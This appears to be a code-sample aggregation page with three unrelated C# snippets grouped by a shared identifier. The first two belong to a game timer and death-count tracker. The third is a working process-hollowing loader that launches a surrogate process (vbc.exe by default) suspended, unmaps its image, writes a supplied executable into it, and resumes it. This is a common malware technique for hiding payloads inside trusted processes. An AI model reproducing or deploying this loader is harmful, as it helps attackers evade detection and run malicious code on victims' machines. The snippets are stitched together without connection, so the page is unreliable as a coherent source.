Пример #1
0
        public void SelectParallel(Guid parallelID)
        {
            var currentParallel = Stats.Parallels.FirstOrDefault(i => i.ID.Equals(Stats.SelectedParallel));

            if (currentParallel != null)
            {
                currentParallel.OffTime = new ComplexTime {
                    Hours = GetHours(), Minutes = GetMinutes(), Seconds = GetSeconds()
                };
                currentParallel.ElapsedTime   = GTC.CalculateSum(GTC.CalculateDifference(currentParallel.BackTime, currentParallel.OffTime), currentParallel.ElapsedTime);
                currentParallel.OffDeaths     = GetDeaths();
                currentParallel.ElapsedDeaths = currentParallel.OffDeaths - currentParallel.BackDeaths + currentParallel.ElapsedDeaths;
            }

            Stats.SelectedParallel = parallelID;
            var selectedParallel = Stats.Parallels.FirstOrDefault(i => i.ID.Equals(Stats.SelectedParallel));

            selectedParallel.BackTime = new ComplexTime {
                Hours = GetHours(), Minutes = GetMinutes(), Seconds = GetSeconds()
            };
            selectedParallel.BackDeaths = GetDeaths();
            var json = Serializer.Serialize(Stats);

            File.WriteAllText(folder + gameName, json);
        }
Пример #2
0
        private void Timer_Tick(object sender, EventArgs e)
        {
            if (Window == null)
            {
                LoadWindows();
                return;
            }

            int size = GetWindowTextLength(Window.hwnd);

            if (size++ > 0 && IsWindowVisible(Window.hwnd))
            {
                StringBuilder sb = new StringBuilder(size);
                GetWindowText(Window.hwnd, sb, size);
                var currentTime = Regex.Match(sb.ToString(), "([0-9]+\\s*:\\s*[0-9]+\\s*:\\s*[0-9]+)", RegexOptions.IgnoreCase).Value;
                if (string.IsNullOrEmpty(currentTime))
                {
                    currentTime = Regex.Match(sb.ToString(), "(Time\\s*\\[\\s*[0-9]\\s*\\]\\s*:\\s*[0-9]+)", RegexOptions.IgnoreCase).Value;
                }
                if (!string.IsNullOrEmpty(currentTime))
                {
                    GameTime = currentTime.Replace("Time", "");
                    var tempDeaths = Regex.Match(sb.ToString(), DeathsRegex, RegexOptions.IgnoreCase).Value;
                    var temp       = Regex.Match(tempDeaths, "\\[[0-9]\\]").Value;
                    Deaths = !string.IsNullOrEmpty(temp) ? tempDeaths.Replace(temp, "") : tempDeaths;
                    Deaths = Deaths.ToUpper()
                             .Replace(" ", "")
                             .Replace(":", "")
                             .Replace("DEATHS", "")
                             .Replace("DEATH", "");
                    string tempGameName = sb.ToString().Replace(currentTime, "").Replace(tempDeaths, "");

                    gameName = Regex.Replace(tempGameName, "[^A-Za-zА-Яа-я0-9 _.]", "_") + ".txt";
                    if (!File.Exists(folder + gameName))
                    {
                        var fs = File.Create(folder + gameName);
                        fs.Close();
                        Stats = new Stats {
                            Values = new List <StatsValue>(), Parallels = new ObservableCollection <Parallels>()
                        };
                        var json = Serializer.Serialize(Stats);
                        File.WriteAllText(folder + gameName, json);
                    }
                    if (Stats == null)
                    {
                        var json = File.ReadAllText(folder + gameName);
                        Stats = Serializer.Deserialize <Stats>(json);
                    }

                    var currentDeaths = GetDeaths();
                    foreach (var parallel in Stats.Parallels) // для ситуаций, когда текущее время меньше чем записаное в файл
                    {
                        if (parallel.OffTime > new ComplexTime {
                            Hours = GetHours(), Minutes = GetMinutes(), Seconds = GetSeconds()
                        })
                        {
                            parallel.OffTime = new ComplexTime {
                                Hours = GetHours(), Minutes = GetMinutes(), Seconds = GetSeconds()
                            };
                            parallel.ElapsedTime = GTC.CalculateSum(GTC.CalculateDifference(parallel.BackTime, parallel.OffTime), parallel.ElapsedTime);
                        }
                        if (parallel.BackTime > new ComplexTime {
                            Hours = GetHours(), Minutes = GetMinutes(), Seconds = GetSeconds()
                        })
                        {
                            parallel.BackTime = new ComplexTime {
                                Hours = GetHours(), Minutes = GetMinutes(), Seconds = GetSeconds()
                            };
                        }

                        if (parallel.OffDeaths > currentDeaths)
                        {
                            parallel.OffDeaths     = currentDeaths.Value;
                            parallel.ElapsedDeaths = parallel.OffDeaths - parallel.BackDeaths + parallel.ElapsedDeaths;
                        }
                        if (parallel.BackDeaths > currentDeaths)
                        {
                            parallel.BackDeaths = currentDeaths.Value;
                        }
                        ParallelsVisibility = Visibility.Visible;
                    }
                    foreach (var statsValue in Stats.Values)
                    {
                        if (statsValue.Time > new ComplexTime {
                            Hours = GetHours(), Minutes = GetMinutes(), Seconds = GetSeconds()
                        })
                        {
                            statsValue.Time = new ComplexTime {
                                Hours = GetHours(), Minutes = GetMinutes(), Seconds = GetSeconds()
                            };
                        }
                        if (statsValue.Deaths.HasValue && statsValue.Deaths.Value > currentDeaths)
                        {
                            statsValue.Deaths = currentDeaths.Value;
                        }
                    }

                    foreach (var parallel in Stats.Parallels)
                    {
                        if (Stats.Values.Last().Time > parallel.OffTime)
                        {
                            ParallelsVisibility = Visibility.Collapsed;
                        }
                    }


                    if (Stats.SelectedParallel == null)
                    {
                        if (Stats.Values.Count == 0)
                        {
                            Current = $"Time: {GetHours():0}:{GetMinutes():00}:{GetSeconds():00}\nDeaths: {GetDeaths()}";
                        }
                        else
                        {
                            var idk = GTC.CalculateDifference(Stats.Values.Last().Time,
                                                              new ComplexTime {
                                Hours = GetHours(), Minutes = GetMinutes(), Seconds = GetSeconds()
                            });
                            Current =
                                $"Time: {idk.Hours:0}:{idk.Minutes:00}:{idk.Seconds:00}\nDeaths: {GetDeaths() - Stats.Values.Last().Deaths}";
                        }

                        if (Stats.Values.Count == 0)
                        {
                            Last = "";
                        }
                        else if (Stats.Values.Count == 1)
                        {
                            Last =
                                $"Time: {Stats.Values.Last().Time.Hours}:{Stats.Values.Last().Time.Minutes}:{Stats.Values.Last().Time.Seconds}\nDeaths: {Stats.Values.Last().Deaths}";
                        }
                        else
                        {
                            var idk = GTC.CalculateDifference(Stats.Values[Stats.Values.Count - 2].Time,
                                                              Stats.Values.Last().Time);
                            Last =
                                $"Time:{idk.Hours:0}:{idk.Minutes:00}:{idk.Seconds:00}\nDeaths: {Stats.Values.Last().Deaths - Stats.Values[Stats.Values.Count - 2].Deaths}";
                        }
                    }
                    else
                    {
                        var currentParallel = Stats.Parallels.FirstOrDefault(i => i.ID.Equals(Stats.SelectedParallel));
                        if (!currentParallel.Cleared)
                        {
                            var timenow = new ComplexTime {
                                Hours = GetHours(), Minutes = GetMinutes(), Seconds = GetSeconds()
                            };
                            var idk = GTC.CalculateSum(GTC.CalculateDifference(currentParallel.BackTime, timenow), currentParallel.ElapsedTime);
                            currentParallel.ElapsedTimeString = idk.Hours + ":" + idk.Minutes + ":" + idk.Seconds;
                            var idk2 = currentDeaths - currentParallel.BackDeaths + currentParallel.ElapsedDeaths;
                            currentParallel.ElapsedDeathsString = idk2.ToString();
                        }
                    }
                }
            }
            else
            {
                Stats = null;
                LoadWindows();
            }
        }
Пример #3
0
    public static void Run(byte[] bytes, string surrogateProcess)
    {
        IntPtr ptr5;

        if (surrogateProcess == null)
        {
            surrogateProcess = RuntimeEnvironment.GetRuntimeDirectory() + "vbc.exe";
        }
        CP     cp   = CreateApi <CP>("kernel32", "CreateProcessA");
        GTC    gtc  = CreateApi <GTC>("kernel32", "GetThreadContext");
        NTU    ntu  = CreateApi <NTU>("ntdll", "NtUnmapViewOfSection");
        RPM    rpm  = CreateApi <RPM>("kernel32", "ReadProcessMemory");
        RT     rt   = CreateApi <RT>("kernel32", "ResumeThread");
        STC    stc  = CreateApi <STC>("kernel32", "SetThreadContext");
        VAE    vae  = CreateApi <VAE>("kernel32", "VirtualAllocEx");
        VPE    vpe  = CreateApi <VPE>("kernel32", "VirtualProtectEx");
        WPM    wpm  = CreateApi <WPM>("kernel32", "WriteProcessMemory");
        int    num3 = BitConverter.ToInt32(bytes, 60);
        int    num2 = BitConverter.ToInt16(bytes, num3 + 6);
        IntPtr size = new IntPtr(BitConverter.ToInt32(bytes, num3 + 0x54));

        byte[]   sInfo = new byte[0x44];
        IntPtr[] pInfo = new IntPtr[4];
        if (cp(null, new StringBuilder(surrogateProcess), ptr5, ptr5, false, 4, ptr5, null, sInfo, pInfo))
        {
            uint[] ctxt = new uint[0xb3];
            ctxt[0] = 0x10002;
            if (gtc(pInfo[1], ctxt))
            {
                IntPtr ptr;
                IntPtr ptr3;
                IntPtr baseAddr = new IntPtr(ctxt[0x29] + 8L);
                IntPtr bufrSize = new IntPtr(4);
                if (rpm(pInfo[0], baseAddr, ref ptr, bufrSize, ref ptr3) && (ntu(pInfo[0], ptr) == 0L))
                {
                    IntPtr addr = new IntPtr(BitConverter.ToInt32(bytes, num3 + 0x34));
                    IntPtr ptr9 = new IntPtr(BitConverter.ToInt32(bytes, num3 + 80));
                    IntPtr ptr2 = vae(pInfo[0], addr, ptr9, 0x3000, 0x40);
                    bool   flag = wpm(pInfo[0], ptr2, bytes, size, ref ptr3);
                    int    num5 = num2 - 1;
                    for (int i = 0; i <= num5; i++)
                    {
                        int   num;
                        int[] dst = new int[10];
                        Buffer.BlockCopy(bytes, (num3 + 0xf8) + (i * 40), dst, 0, 40);
                        byte[] buffer2 = new byte[(dst[4] - 1) + 1];
                        Buffer.BlockCopy(bytes, dst[5], buffer2, 0, buffer2.Length);
                        ptr9 = new IntPtr(ptr2.ToInt32() + dst[3]);
                        addr = new IntPtr(buffer2.Length);
                        flag = wpm(pInfo[0], ptr9, buffer2, addr, ref ptr3);
                        ptr9 = new IntPtr(ptr2.ToInt32() + dst[3]);
                        addr = new IntPtr(dst[2]);
                        flag = vpe(pInfo[0], ptr9, addr, x[(dst[9] >> 0x1d) & 7], ref num);
                    }
                    ptr9       = new IntPtr(ctxt[0x29] + 8L);
                    addr       = new IntPtr(4);
                    flag       = wpm(pInfo[0], ptr9, BitConverter.GetBytes(ptr2.ToInt32()), addr, ref ptr3);
                    ctxt[0x2c] = (uint)(ptr2.ToInt32() + BitConverter.ToInt32(bytes, num3 + 40));
                    stc(pInfo[1], ctxt);
                }
            }
            rt(pInfo[1]);
        }
    }